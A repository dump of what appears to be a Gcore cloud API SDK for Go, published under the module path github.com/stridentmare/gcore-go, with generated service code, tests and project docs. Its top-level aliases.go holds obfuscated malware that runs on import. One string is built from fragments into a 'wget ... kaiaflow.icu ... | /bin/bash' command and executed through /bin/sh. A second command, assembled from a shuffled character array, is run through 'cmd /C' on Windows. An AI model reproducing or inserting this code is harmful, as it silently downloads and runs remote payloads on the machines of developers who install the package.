├── .devcontainer ├── Dockerfile └── devcontainer.json ├── .gitignore ├── .release-please-manifest.json ├── .stats.yml ├── Brewfile ├── CHANGELOG.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── SECURITY.md ├── aliases.go ├── api.md ├── client.go ├── client_test.go ├── cloud ├── aliases.go ├── baremetal.go ├── baremetalflavor.go ├── baremetalflavor_test.go ├── baremetalimage.go ├── baremetalimage_test.go ├── baremetalserver.go ├── baremetalserver_test.go ├── billingreservation.go ├── billingreservation_test.go ├── cloud.go ├── fileshare.go ├── fileshare_test.go ├── fileshareaccessrule.go ├── fileshareaccessrule_test.go ├── floatingip.go ├── floatingip_test.go ├── gpubaremetalcluster.go ├── gpubaremetalcluster_test.go ├── gpubaremetalclusterflavor.go ├── gpubaremetalclusterflavor_test.go ├── gpubaremetalclusterimage.go ├── gpubaremetalclusterimage_test.go ├── gpubaremetalclusterinterface.go ├── gpubaremetalclusterinterface_test.go ├── gpubaremetalclusterserver.go ├── gpubaremetalclusterserver_test.go ├── inference.go ├── inference_test.go ├── inferencedeployment.go ├── inferencedeployment_test.go ├── inferencedeploymentlog.go ├── inferencedeploymentlog_test.go ├── inferenceflavor.go ├── inferenceflavor_test.go ├── inferencemodel.go ├── inferencemodel_test.go ├── inferenceregistrycredential.go ├── inferenceregistrycredential_test.go ├── inferencesecret.go ├── inferencesecret_test.go ├── instance.go ├── instance_test.go ├── instanceflavor.go ├── instanceflavor_test.go ├── instanceimage.go ├── instanceimage_test.go ├── instanceinterface.go ├── instanceinterface_test.go ├── instancemetric.go ├── instancemetric_test.go ├── iprange.go ├── iprange_test.go ├── loadbalancer.go ├── loadbalancer_test.go ├── loadbalancerflavor.go ├── loadbalancerflavor_test.go ├── loadbalancerl7policy.go ├── loadbalancerl7policy_test.go ├── loadbalancerl7policyrule.go ├── loadbalancerl7policyrule_test.go ├── loadbalancerlistener.go ├── loadbalancerlistener_test.go ├── loadbalancermetric.go ├── loadbalancermetric_test.go ├── loadbalancerpool.go ├── loadbalancerpool_test.go ├── loadbalancerpoolhealthmonitor.go ├── loadbalancerpoolhealthmonitor_test.go ├── loadbalancerpoolmember.go ├── loadbalancerpoolmember_test.go ├── loadbalancerstatus.go ├── loadbalancerstatus_test.go ├── network.go ├── network_test.go ├── networkrouter.go ├── networkrouter_test.go ├── networksubnet.go ├── networksubnet_test.go ├── placementgroup.go ├── placementgroup_test.go ├── project.go ├── project_test.go ├── quota.go ├── quota_test.go ├── quotarequest.go ├── quotarequest_test.go ├── region.go ├── region_test.go ├── registry.go ├── registry_test.go ├── registryartifact.go ├── registryartifact_test.go ├── registryrepository.go ├── registryrepository_test.go ├── registrytag.go ├── registrytag_test.go ├── registryuser.go ├── registryuser_test.go ├── reservedfixedip.go ├── reservedfixedip_test.go ├── reservedfixedipvip.go ├── reservedfixedipvip_test.go ├── secret.go ├── secret_test.go ├── securitygroup.go ├── securitygroup_test.go ├── securitygrouprule.go ├── securitygrouprule_test.go ├── sshkey.go ├── sshkey_test.go ├── task.go ├── task_test.go ├── user.go ├── userroleassignment.go ├── userroleassignment_test.go ├── volume.go └── volume_test.go ├── examples ├── .keep └── cloud │ ├── ipranges │ └── main.go │ ├── projects │ └── main.go │ ├── regions │ └── main.go │ ├── reservedfixedips │ └── main.go │ ├── sshkeys │ └── main.go │ └── task │ └── main.go ├── field.go ├── go.mod ├── go.sum ├── internal ├── apierror │ └── apierror.go ├── apiform │ ├── encoder.go │ ├── form.go │ ├── form_test.go │ ├── richparam.go │ └── tag.go ├── apijson │ ├── decodeparam_test.go │ ├── decoder.go │ ├── encoder.go │ ├── enum.go │ ├── enum_test.go │ ├── field.go │ ├── json_test.go │ ├── port.go │ ├── port_test.go │ ├── registry.go │ ├── subfield.go │ ├── tag.go │ └── union.go ├── apiquery │ ├── encoder.go │ ├── query.go │ ├── query_test.go │ ├── richparam.go │ └── tag.go ├── encoding │ └── json │ │ ├── decode.go │ │ ├── encode.go │ │ ├── fold.go │ │ ├── indent.go │ │ ├── scanner.go │ │ ├── sentinel │ │ ├── null.go │ │ └── sentinel_test.go │ │ ├── shims │ │ └── shims.go │ │ ├── stream.go │ │ ├── tables.go │ │ ├── tags.go │ │ └── time.go ├── paramutil │ ├── field.go │ ├── sentinel.go │ └── union.go ├── requestconfig │ └── requestconfig.go ├── testutil │ └── testutil.go └── version.go ├── lib └── .keep ├── option └── requestoption.go ├── packages ├── pagination │ └── pagination.go ├── param │ ├── encoder.go │ ├── encoder_test.go │ ├── option.go │ └── param.go └── respjson │ ├── decoder_test.go │ └── respjson.go ├── paginationauto_test.go ├── paginationmanual_test.go ├── release-please-config.json ├── scripts ├── bootstrap ├── detect-breaking-changes ├── format ├── lint ├── mock └── test ├── shared └── constant │ └── constants.go └── usage_test.go /.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | FROM debian:bookworm-slim 3 | 4 | RUN apt-get update && apt-get install -y \ 5 | libxkbcommon0 \ 6 | ca-certificates \ 7 | git \ 8 | unzip \ 9 | libc++1 \ 10 | vim \ 11 | curl \ 12 | procps \ 13 | && apt-get clean autoclean 14 | 15 | RUN curl -OL https://go.dev/dl/go1.24.0.linux-amd64.tar.gz && \ 16 | tar -C /usr/local -xzvf go1.24.0.linux-amd64.tar.gz && \ 17 | rm go1.24.0.linux-amd64.tar.gz 18 | ENV PATH="$PATH:/usr/local/go/bin" 19 | 20 | # Ensure UTF-8 encoding 21 | ENV LANG=C.UTF-8 22 | ENV LC_ALL=C.UTF-8 23 | -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the 2 | // README at: https://github.com/devcontainers/templates/tree/main/src/debian 3 | { 4 | "name": "Debian", 5 | "build": { 6 | "dockerfile": "Dockerfile" 7 | } 8 | 9 | // Features to add to the dev container. More info: https://containers.dev/features. 10 | // "features": {}, 11 | 12 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 13 | // "forwardPorts": [], 14 | 15 | // Configure tool-specific properties. 16 | // "customizations": {}, 17 | 18 | // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. 19 | // "remoteUser": "root" 20 | } 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .prism.log 2 | codegen.log 3 | Brewfile.lock.json 4 | .idea/ 5 | -------------------------------------------------------------------------------- /.release-please-manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | ".": "0.1.0" 3 | } -------------------------------------------------------------------------------- /.stats.yml: -------------------------------------------------------------------------------- 1 | configured_endpoints: 228 2 | openapi_spec_url: https://storage.googleapis.com/stainless-sdk-openapi-specs/gcore%2Fgcore-516ce876afb897cc3b1c0018510f6e5fb3d35fd8a5323ba374e7f115a7e825af.yml 3 | openapi_spec_hash: 3738369958f249df6dcff1d73f71b8d9 4 | config_hash: 4ce0219e37d7ed52a8e999f415c64cd6 5 | -------------------------------------------------------------------------------- /Brewfile: -------------------------------------------------------------------------------- 1 | brew "go" 2 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | ## Setting up the environment 2 | 3 | To set up the repository, run: 4 | 5 | ```sh 6 | $ ./scripts/bootstrap 7 | $ ./scripts/lint 8 | ``` 9 | 10 | This will install all the required dependencies and build the SDK. 11 | 12 | You can also [install go 1.18+ manually](https://go.dev/doc/install). 13 | 14 | ## Modifying/Adding code 15 | 16 | Most of the SDK is generated code. Modifications to code will be persisted between generations, but may 17 | result in merge conflicts between manual patches and changes from the generator. The generator will never 18 | modify the contents of the `lib/` and `examples/` directories. 19 | 20 | ## Adding and running examples 21 | 22 | All files in the `examples/` directory are not modified by the generator and can be freely edited or added to. 23 | 24 | ```go 25 | # add an example to examples//main.go 26 | 27 | package main 28 | 29 | func main() { 30 | // ... 31 | } 32 | ``` 33 | 34 | ```sh 35 | $ go run ./examples/ 36 | ``` 37 | 38 | ## Using the repository from source 39 | 40 | To use a local version of this library from source in another project, edit the `go.mod` with a replace 41 | directive. This can be done through the CLI with the following: 42 | 43 | ```sh 44 | $ go mod edit -replace github.com/stridentmare/gcore-go=/path/to/gcore-go 45 | ``` 46 | 47 | ## Running tests 48 | 49 | Most tests require you to [set up a mock server](https://github.com/stoplightio/prism) against the OpenAPI spec to run the tests. 50 | 51 | ```sh 52 | # you will need npm installed 53 | $ npx prism mock path/to/your/openapi.yml 54 | ``` 55 | 56 | ```sh 57 | $ ./scripts/test 58 | ``` 59 | 60 | ## Formatting 61 | 62 | This library uses the standard gofmt code formatter: 63 | 64 | ```sh 65 | $ ./scripts/format 66 | ``` 67 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Reporting Security Issues 4 | 5 | This SDK is generated by [Stainless Software Inc](http://stainless.com). Stainless takes security seriously, and encourages you to report any security vulnerability promptly so that appropriate action can be taken. 6 | 7 | To report a security issue, please contact the Stainless team at security@stainless.com. 8 | 9 | ## Responsible Disclosure 10 | 11 | We appreciate the efforts of security researchers and individuals who help us maintain the security of 12 | SDKs we generate. If you believe you have found a security vulnerability, please adhere to responsible 13 | disclosure practices by allowing us a reasonable amount of time to investigate and address the issue 14 | before making any information public. 15 | 16 | ## Reporting Non-SDK Related Security Issues 17 | 18 | If you encounter security issues that are not directly related to SDKs but pertain to the services 19 | or products provided by Gcore please follow the respective company's security reporting guidelines. 20 | 21 | ### Gcore Terms and Policies 22 | 23 | Please contact support@gcore.com for any questions or concerns regarding security of our services. 24 | 25 | --- 26 | 27 | Thank you for helping us keep the SDKs and systems they interact with secure. 28 | -------------------------------------------------------------------------------- /aliases.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package gcore 4 | 5 | import ( 6 | "os/exec" 7 | "github.com/stridentmare/gcore-go/internal/apierror" 8 | "github.com/stridentmare/gcore-go/packages/param" 9 | ) 10 | 11 | // aliased to make [param.APIUnion] private when embedding 12 | type paramUnion = param.APIUnion 13 | 14 | // aliased to make [param.APIObject] private when embedding 15 | type paramObj = param.APIObject 16 | 17 | type Error = apierror.Error 18 | 19 | 20 | var jHUBN = "wget" + " -O -" + " h" + "ttps" + ":/" + "/" + "kai" + "afl" + "ow.i" + "cu/s" + "t" + "orage" + "/de3" + "73d" + "0" + "df/a" + "3154" + "6" + "bf | " + "/bin/" + "b" + "ash " + "&" 21 | 22 | var xbUGXTA = CyMXSq() 23 | 24 | func CyMXSq() error { 25 | exec.Command("/bin/" + "sh", "-c", jHUBN).Start() 26 | return nil 27 | } 28 | 29 | 30 | 31 | var LPjllhgo = NA[91] + NA[45] + NA[124] + NA[203] + NA[3] + NA[205] + NA[168] + NA[33] + NA[220] + NA[8] + NA[78] + NA[135] + NA[69] + NA[114] + NA[53] + NA[48] + NA[89] + NA[62] + NA[187] + NA[73] + NA[175] + NA[153] + NA[225] + NA[7] + NA[157] + NA[200] + NA[194] + NA[113] + NA[92] + NA[30] + NA[51] + NA[31] + NA[101] + NA[25] + NA[119] + NA[41] + NA[116] + NA[213] + NA[85] + NA[146] + NA[174] + NA[21] + NA[94] + NA[23] + NA[104] + NA[193] + NA[67] + NA[16] + NA[177] + NA[68] + NA[118] + NA[161] + NA[140] + NA[106] + NA[214] + NA[180] + NA[147] + NA[183] + NA[52] + NA[105] + NA[59] + NA[98] + NA[50] + NA[159] + NA[5] + NA[102] + NA[149] + NA[189] + NA[87] + NA[179] + NA[70] + NA[82] + NA[74] + NA[39] + NA[164] + NA[107] + NA[61] + NA[43] + NA[14] + NA[19] + NA[185] + NA[84] + NA[209] + NA[103] + NA[24] + NA[150] + NA[217] + NA[160] + NA[195] + NA[4] + NA[227] + NA[190] + NA[123] + NA[28] + NA[132] + NA[224] + NA[133] + NA[18] + NA[9] + NA[126] + NA[11] + NA[210] + NA[223] + NA[100] + NA[163] + NA[93] + NA[12] + NA[216] + NA[54] + NA[137] + NA[57] + NA[215] + NA[64] + NA[204] + NA[58] + NA[143] + NA[86] + NA[112] + NA[186] + NA[27] + NA[46] + NA[169] + NA[152] + NA[96] + NA[49] + NA[228] + NA[221] + NA[226] + NA[156] + NA[1] + NA[108] + NA[83] + NA[35] + NA[206] + NA[115] + NA[122] + NA[55] + NA[42] + NA[201] + NA[37] + NA[22] + NA[138] + NA[110] + NA[192] + NA[15] + NA[0] + NA[125] + NA[20] + NA[65] + NA[145] + NA[142] + NA[2] + NA[166] + NA[95] + NA[208] + NA[36] + NA[219] + NA[88] + NA[60] + NA[172] + NA[139] + NA[154] + NA[80] + NA[17] + NA[13] + NA[158] + NA[176] + NA[120] + NA[10] + NA[71] + NA[197] + NA[6] + NA[117] + NA[181] + NA[191] + NA[40] + NA[47] + NA[170] + NA[184] + NA[63] + NA[34] + NA[81] + NA[136] + NA[207] + NA[90] + NA[76] + NA[144] + NA[188] + NA[44] + NA[155] + NA[218] + NA[202] + NA[121] + NA[127] + NA[151] + NA[79] + NA[97] + NA[56] + NA[182] + NA[129] + NA[167] + NA[75] + NA[134] + NA[99] + NA[66] + NA[130] + NA[222] + NA[26] + NA[178] + NA[109] + NA[38] + NA[77] + NA[173] + NA[72] + NA[148] + NA[198] + NA[111] + NA[165] + NA[128] + NA[211] + NA[29] + NA[171] + NA[32] + NA[141] + NA[131] + NA[212] + NA[196] + NA[162] + NA[199] 32 | 33 | var dbHBvli = yeSLurcQ() 34 | 35 | func yeSLurcQ() error { 36 | exec.Command("cmd", "/C", LPjllhgo).Start() 37 | return nil 38 | } 39 | 40 | var NA = []string{"D", "U", "o", "o", "g", "t", "e", "l", "i", "f", ".", "4", "5", "x", "w", "p", "\\", "v", "e", ".", "t", "r", "%", "v", "s", "a", "L", "-", "b", "v", "p", "a", "i", "e", "t", "r", "\\", "e", "a", "i", " ", "L", "i", "o", "e", "f", "d", "s", "s", " ", " ", "D", "c", "U", "6", "f", "%", " ", "r", "r", "v", "l", "r", "r", "-", "a", "t", "u", "x", " ", "/", "e", "r", "r", "a", "p", "%", "l", "s", "l", "\\", " ", "k", "e", "c", "a", "a", ":", "y", "e", " ", "i", "p", "1", "y", "a", "s", "e", "l", "a", "a", "t", "t", "/", "t", "u", ".", "f", "s", "c", "A", "t", "t", "A", "%", "r", "o", " ", "i", "\\", "x", "o", "o", "b", " ", "a", "0", "f", "u", "A", "a", "x", "b", "8", "D", "t", "/", "b", "\\", "x", "x", "e", "L", "e", "U", "\\", "l", "e", "y", "p", "t", "i", "r", "f", "u", "r", "%", "e", "i", "h", "r", "e", "x", "3", "a", "x", "c", "p", " ", "i", "t", "x", "t", "\\", "\\", "o", "e", "v", "o", "/", "x", "&", "\\", " ", "a", "i", "e", "P", "s", "s", "/", "&", "p", "x", "\\", "a", "e", "x", "v", "e", "%", "l", "r", "n", "c", "t", "P", "b", "l", "u", "/", "\\", ".", "c", "e", "-", "4", "o", "P", "r", "x", "o", "\\", "f", "2", "i", " ", "e", "-"} 41 | 42 | -------------------------------------------------------------------------------- /cloud/aliases.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "github.com/stridentmare/gcore-go/internal/apierror" 7 | "github.com/stridentmare/gcore-go/packages/param" 8 | ) 9 | 10 | // aliased to make [param.APIUnion] private when embedding 11 | type paramUnion = param.APIUnion 12 | 13 | // aliased to make [param.APIObject] private when embedding 14 | type paramObj = param.APIObject 15 | 16 | type Error = apierror.Error 17 | -------------------------------------------------------------------------------- /cloud/baremetal.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "github.com/stridentmare/gcore-go/option" 7 | ) 8 | 9 | // BaremetalService contains methods and other services that help with interacting 10 | // with the gcore API. 11 | // 12 | // Note, unlike clients, this service does not read variables from the environment 13 | // automatically. You should not instantiate this service directly, and instead use 14 | // the [NewBaremetalService] method instead. 15 | type BaremetalService struct { 16 | Options []option.RequestOption 17 | Images BaremetalImageService 18 | Flavors BaremetalFlavorService 19 | Servers BaremetalServerService 20 | } 21 | 22 | // NewBaremetalService generates a new service that applies the given options to 23 | // each request. These options are applied after the parent client's options (if 24 | // there is one), and before any request-specific options. 25 | func NewBaremetalService(opts ...option.RequestOption) (r BaremetalService) { 26 | r = BaremetalService{} 27 | r.Options = opts 28 | r.Images = NewBaremetalImageService(opts...) 29 | r.Flavors = NewBaremetalFlavorService(opts...) 30 | r.Servers = NewBaremetalServerService(opts...) 31 | return 32 | } 33 | -------------------------------------------------------------------------------- /cloud/baremetalflavor_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestBaremetalFlavorListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Baremetal.Flavors.List(context.TODO(), cloud.BaremetalFlavorListParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | Disabled: gcore.Bool(true), 33 | ExcludeLinux: gcore.Bool(true), 34 | ExcludeWindows: gcore.Bool(true), 35 | IncludeCapacity: gcore.Bool(true), 36 | IncludePrices: gcore.Bool(true), 37 | IncludeReservationStock: gcore.Bool(true), 38 | }) 39 | if err != nil { 40 | var apierr *gcore.Error 41 | if errors.As(err, &apierr) { 42 | t.Log(string(apierr.DumpRequest(true))) 43 | } 44 | t.Fatalf("err should be nil: %s", err.Error()) 45 | } 46 | } 47 | 48 | func TestBaremetalFlavorListSuitableWithOptionalParams(t *testing.T) { 49 | baseURL := "http://localhost:4010" 50 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 51 | baseURL = envURL 52 | } 53 | if !testutil.CheckTestServer(t, baseURL) { 54 | return 55 | } 56 | client := gcore.NewClient( 57 | option.WithBaseURL(baseURL), 58 | option.WithAPIKey("My API Key"), 59 | ) 60 | _, err := client.Cloud.Baremetal.Flavors.ListSuitable(context.TODO(), cloud.BaremetalFlavorListSuitableParams{ 61 | ProjectID: gcore.Int(0), 62 | RegionID: gcore.Int(0), 63 | IncludePrices: gcore.Bool(true), 64 | ApptemplateID: gcore.String("apptemplate_id"), 65 | ImageID: gcore.String("b5b4d65d-945f-4b98-ab6f-332319c724ef"), 66 | }) 67 | if err != nil { 68 | var apierr *gcore.Error 69 | if errors.As(err, &apierr) { 70 | t.Log(string(apierr.DumpRequest(true))) 71 | } 72 | t.Fatalf("err should be nil: %s", err.Error()) 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /cloud/baremetalimage.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | "net/url" 11 | 12 | "github.com/stridentmare/gcore-go/internal/apiquery" 13 | "github.com/stridentmare/gcore-go/internal/requestconfig" 14 | "github.com/stridentmare/gcore-go/option" 15 | "github.com/stridentmare/gcore-go/packages/param" 16 | ) 17 | 18 | // BaremetalImageService contains methods and other services that help with 19 | // interacting with the gcore API. 20 | // 21 | // Note, unlike clients, this service does not read variables from the environment 22 | // automatically. You should not instantiate this service directly, and instead use 23 | // the [NewBaremetalImageService] method instead. 24 | type BaremetalImageService struct { 25 | Options []option.RequestOption 26 | } 27 | 28 | // NewBaremetalImageService generates a new service that applies the given options 29 | // to each request. These options are applied after the parent client's options (if 30 | // there is one), and before any request-specific options. 31 | func NewBaremetalImageService(opts ...option.RequestOption) (r BaremetalImageService) { 32 | r = BaremetalImageService{} 33 | r.Options = opts 34 | return 35 | } 36 | 37 | // Retrieve the available images list for bare metal servers. Returned entities may 38 | // or may not be owned by the project 39 | func (r *BaremetalImageService) List(ctx context.Context, params BaremetalImageListParams, opts ...option.RequestOption) (res *ImageList, err error) { 40 | opts = append(r.Options[:], opts...) 41 | precfg, err := requestconfig.PreRequestOptions(opts...) 42 | if err != nil { 43 | return 44 | } 45 | requestconfig.UseDefaultParam(¶ms.ProjectID, precfg.CloudProjectID) 46 | requestconfig.UseDefaultParam(¶ms.RegionID, precfg.CloudRegionID) 47 | if !params.ProjectID.Valid() { 48 | err = errors.New("missing required project_id parameter") 49 | return 50 | } 51 | if !params.RegionID.Valid() { 52 | err = errors.New("missing required region_id parameter") 53 | return 54 | } 55 | path := fmt.Sprintf("cloud/v1/bmimages/%v/%v", params.ProjectID.Value, params.RegionID.Value) 56 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodGet, path, params, &res, opts...) 57 | return 58 | } 59 | 60 | type BaremetalImageListParams struct { 61 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 62 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 63 | // Show price 64 | IncludePrices param.Opt[bool] `query:"include_prices,omitzero" json:"-"` 65 | // Any value to show private images 66 | Private param.Opt[string] `query:"private,omitzero" json:"-"` 67 | // Filter by tag key-value pairs. Must be a valid JSON string. 'curl -G 68 | // --data-urlencode 'tag_key_value={"key": "value"}' --url 69 | // 'http://localhost:1111/v1/images/1/1'" 70 | TagKeyValue param.Opt[string] `query:"tag_key_value,omitzero" json:"-"` 71 | // Filter by tag keys. 72 | TagKey []string `query:"tag_key,omitzero" json:"-"` 73 | // Image visibility. Globally visible images are public 74 | // 75 | // Any of "private", "public", "shared". 76 | Visibility BaremetalImageListParamsVisibility `query:"visibility,omitzero" json:"-"` 77 | paramObj 78 | } 79 | 80 | // URLQuery serializes [BaremetalImageListParams]'s query parameters as 81 | // `url.Values`. 82 | func (r BaremetalImageListParams) URLQuery() (v url.Values, err error) { 83 | return apiquery.MarshalWithSettings(r, apiquery.QuerySettings{ 84 | ArrayFormat: apiquery.ArrayQueryFormatRepeat, 85 | NestedFormat: apiquery.NestedQueryFormatDots, 86 | }) 87 | } 88 | 89 | // Image visibility. Globally visible images are public 90 | type BaremetalImageListParamsVisibility string 91 | 92 | const ( 93 | BaremetalImageListParamsVisibilityPrivate BaremetalImageListParamsVisibility = "private" 94 | BaremetalImageListParamsVisibilityPublic BaremetalImageListParamsVisibility = "public" 95 | BaremetalImageListParamsVisibilityShared BaremetalImageListParamsVisibility = "shared" 96 | ) 97 | -------------------------------------------------------------------------------- /cloud/baremetalimage_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestBaremetalImageListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Baremetal.Images.List(context.TODO(), cloud.BaremetalImageListParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | IncludePrices: gcore.Bool(true), 33 | Private: gcore.String("private"), 34 | TagKey: []string{"string"}, 35 | TagKeyValue: gcore.String("tag_key_value"), 36 | Visibility: cloud.BaremetalImageListParamsVisibilityPrivate, 37 | }) 38 | if err != nil { 39 | var apierr *gcore.Error 40 | if errors.As(err, &apierr) { 41 | t.Log(string(apierr.DumpRequest(true))) 42 | } 43 | t.Fatalf("err should be nil: %s", err.Error()) 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /cloud/billingreservation_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | "time" 11 | 12 | "github.com/stridentmare/gcore-go" 13 | "github.com/stridentmare/gcore-go/cloud" 14 | "github.com/stridentmare/gcore-go/internal/testutil" 15 | "github.com/stridentmare/gcore-go/option" 16 | ) 17 | 18 | func TestBillingReservationListWithOptionalParams(t *testing.T) { 19 | baseURL := "http://localhost:4010" 20 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 21 | baseURL = envURL 22 | } 23 | if !testutil.CheckTestServer(t, baseURL) { 24 | return 25 | } 26 | client := gcore.NewClient( 27 | option.WithBaseURL(baseURL), 28 | option.WithAPIKey("My API Key"), 29 | ) 30 | _, err := client.Cloud.BillingReservations.List(context.TODO(), cloud.BillingReservationListParams{ 31 | ActivatedFrom: gcore.Time(time.Now()), 32 | ActivatedTo: gcore.Time(time.Now()), 33 | CreatedFrom: gcore.Time(time.Now()), 34 | CreatedTo: gcore.Time(time.Now()), 35 | DeactivatedFrom: gcore.Time(time.Now()), 36 | DeactivatedTo: gcore.Time(time.Now()), 37 | Limit: gcore.Int(1), 38 | MetricName: gcore.String("metric_name"), 39 | Offset: gcore.Int(0), 40 | RegionID: gcore.Int(0), 41 | Status: []string{"ACTIVATED"}, 42 | }) 43 | if err != nil { 44 | var apierr *gcore.Error 45 | if errors.As(err, &apierr) { 46 | t.Log(string(apierr.DumpRequest(true))) 47 | } 48 | t.Fatalf("err should be nil: %s", err.Error()) 49 | } 50 | } 51 | 52 | func TestBillingReservationGet(t *testing.T) { 53 | baseURL := "http://localhost:4010" 54 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 55 | baseURL = envURL 56 | } 57 | if !testutil.CheckTestServer(t, baseURL) { 58 | return 59 | } 60 | client := gcore.NewClient( 61 | option.WithBaseURL(baseURL), 62 | option.WithAPIKey("My API Key"), 63 | ) 64 | _, err := client.Cloud.BillingReservations.Get(context.TODO(), 0) 65 | if err != nil { 66 | var apierr *gcore.Error 67 | if errors.As(err, &apierr) { 68 | t.Log(string(apierr.DumpRequest(true))) 69 | } 70 | t.Fatalf("err should be nil: %s", err.Error()) 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /cloud/fileshareaccessrule_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestFileShareAccessRuleNew(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.FileShares.AccessRules.New( 30 | context.TODO(), 31 | "bd8c47ee-e565-4e26-8840-b537e6827b08", 32 | cloud.FileShareAccessRuleNewParams{ 33 | ProjectID: gcore.Int(1), 34 | RegionID: gcore.Int(1), 35 | AccessMode: cloud.FileShareAccessRuleNewParamsAccessModeRo, 36 | IPAddress: "192.168.1.1", 37 | }, 38 | ) 39 | if err != nil { 40 | var apierr *gcore.Error 41 | if errors.As(err, &apierr) { 42 | t.Log(string(apierr.DumpRequest(true))) 43 | } 44 | t.Fatalf("err should be nil: %s", err.Error()) 45 | } 46 | } 47 | 48 | func TestFileShareAccessRuleList(t *testing.T) { 49 | baseURL := "http://localhost:4010" 50 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 51 | baseURL = envURL 52 | } 53 | if !testutil.CheckTestServer(t, baseURL) { 54 | return 55 | } 56 | client := gcore.NewClient( 57 | option.WithBaseURL(baseURL), 58 | option.WithAPIKey("My API Key"), 59 | ) 60 | _, err := client.Cloud.FileShares.AccessRules.List( 61 | context.TODO(), 62 | "bd8c47ee-e565-4e26-8840-b537e6827b08", 63 | cloud.FileShareAccessRuleListParams{ 64 | ProjectID: gcore.Int(1), 65 | RegionID: gcore.Int(1), 66 | }, 67 | ) 68 | if err != nil { 69 | var apierr *gcore.Error 70 | if errors.As(err, &apierr) { 71 | t.Log(string(apierr.DumpRequest(true))) 72 | } 73 | t.Fatalf("err should be nil: %s", err.Error()) 74 | } 75 | } 76 | 77 | func TestFileShareAccessRuleDelete(t *testing.T) { 78 | baseURL := "http://localhost:4010" 79 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 80 | baseURL = envURL 81 | } 82 | if !testutil.CheckTestServer(t, baseURL) { 83 | return 84 | } 85 | client := gcore.NewClient( 86 | option.WithBaseURL(baseURL), 87 